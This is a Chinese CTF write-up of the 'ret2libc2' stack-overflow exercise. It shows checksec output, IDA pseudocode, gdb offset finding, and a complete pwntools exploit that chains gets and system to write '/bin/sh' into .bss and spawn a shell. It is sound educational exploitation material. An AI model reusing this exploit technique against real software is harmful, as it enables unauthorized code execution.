wiki-ret2libc2

1:checksec

hunter@hunter:~/PWN/wiki/overflow$ checksec ret2libc2
[*] '/home/hunter/PWN/wiki/overflow/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

又是只有NX开启的常规操作

2:IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

显然gets这里有栈溢出,用IDA检查字符串发现有system函数,但是没有/bin/sh字符串

3:gdb调试测其溢出点

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xf7fb25c0 --> 0xfbad2288 
EDX: 0xf7fb389c --> 0x0 
ESI: 0xf7fb2000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd03c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x80486c5 (<main+125>:    ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486ba <main+114>:    call   0x8048460 <gets@plt>
   0x80486bf <main+119>:    mov    eax,0x0
   0x80486c4 <main+124>:    leave  
=> 0x80486c5 <main+125>:    ret    
   0x80486c6:    xchg   ax,ax
   0x80486c8:    xchg   ax,ax
   0x80486ca:    xchg   ax,ax
   0x80486cc:    xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd03c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd040 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd044 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd048 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd04c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd050 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd054 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd058 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486c5    30    in ret2libc.c
gdb-peda$ pattern offset AA8A
AA8A found at offset: 112
gdb-peda$ 

溢出点为112

4:思路

首先因为在程序中可以直接利用system函数,还有栈溢出跳转到system函数,接下来就是想办法得到/bin/sh字符串。
一般的如果题目没有给libc文件不老要想着找到libc地址来解题。那么不考虑libc文件中的/bin/sh字符串,我们看能不能利用输入来获得该字符串。
仔细看IDA主函数的伪代码会发现有个函数将bss段清零了(当然bss一般本来就是0)这应该就是给我们提示了,利用bss段全局变量来存放我们输入的/bin/sh,这样就可以让system函数利用这个字符串。那么输入函数这里直接有gets函数。ok构造exp

5:exp

from pwn import*

context.log_level = 'debug'

elf = ELF('ret2libc2')
system_addr = elf.plt['system']
gets_plt = elf.plt['gets']
bss_addr = 0x0804A040   #bss段的地址都可以在IDA找到
main = elf.symbols['main'] 

sh = process('./ret2libc2')

sh.recv()

payload = "A"*112 + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr) 

#gdb.attach(sh)

sh.sendline(payload)

sh.interactive()

易错点

之前我一直认为这个payload=payload = “A”112 + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(system_ret) + p32(bss_addr)是完全没问题的,system_ret即将作为system函数的返回地址。
我这么认为是因为,我以为用p32(gets_plt)执行后p32(system_addr)作为返回地址,p32(bss_addr)作为参数:程序将跳转到system函数,而p32(bss_addr)将被gets函数从栈中取出
**
后面这个想法大错特错,用gdb调试发现返回地址,和参数一直都在栈中,只是利用参数时会进行值的传递,而不是取出。**
函数调用过程


  转载请注明: Squarer wiki-ret2libc2

  目录